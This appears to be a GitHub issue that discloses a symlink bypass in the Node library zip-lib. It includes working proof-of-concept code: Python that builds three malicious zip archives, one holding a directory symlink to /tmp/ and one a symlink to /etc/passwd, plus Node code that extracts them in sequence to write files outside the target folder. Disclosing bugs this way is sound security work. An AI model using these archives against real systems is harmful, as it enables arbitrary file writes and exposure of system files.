Skip to content

Insufficient Protection on Symlink can lead to Arbitrary File Write #14

@Hagrid29

Description

@Hagrid29

During the process of extracting a zip file, zip-lib cached path when a dir symlink was created and prevented a file being overwritten by symlink that pointing out side of target folder with function isOutsideTargetFolder. This can be bypassed when seperated zip files are being unzip.

The following example show that we can first unzip a compressed file that contain a dir symlink that pointing to arbitrary directory (e.g., /tmp/) out side of target folder. Then unzip another zip file (containing a file or symlink to arbitrary location) to the directory symlink. Files will be written out side of target folder at the end.

Exmaple Python code that generate malicious zip file

import sys, zipfile
import stat


# zip file for creating symlink to /tmp which is outside of target folder
with zipfile.ZipFile("output1.zip", "w", compression=zipfile.ZIP_DEFLATED) as zip:
  info = zipfile.ZipInfo("dirlink")
  info.create_system = 0
  info.external_attr = (stat.S_IFLNK | 0o777) << 16
  zip.writestr(info, "/tmp/")


# zip file for writing file
with zipfile.ZipFile("output2.zip", "w", compression=zipfile.ZIP_DEFLATED) as zip:
  zip.writestr("dirlink/test.txt", "some random data")	


# zip file for linking file /etc/passwd
with zipfile.ZipFile("output3.zip", "w", compression=zipfile.ZIP_DEFLATED) as zip:
      info = zipfile.ZipInfo("dirlink/passwd.txt")
      info.create_system = 0
      info.external_attr = (stat.S_IFLNK | 0o777) << 16
      zip.writestr(info, "/etc/passwd")

Example code of zip-lib unziping malicious file

const zl = require("zip-lib");


zl.extract("output1.zip", "testDir").then(function () {
    console.log("extracted 1st zip");

    zl.extract("output2.zip", "testDir").then(function () {
        console.log("extracted 2nd zip");

        zl.extract("output3.zip", "testDir").then(function () {
            console.log("extracted 3rd zip");
        }, function (err) {
            console.log(err);
        });

    }, function (err) {
        console.log(err);
    });

}, function (err) {
    console.log(err);
});

Screenshot

Image

Reference

Metadata

Metadata

Assignees

Labels

bugSomething isn't working

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions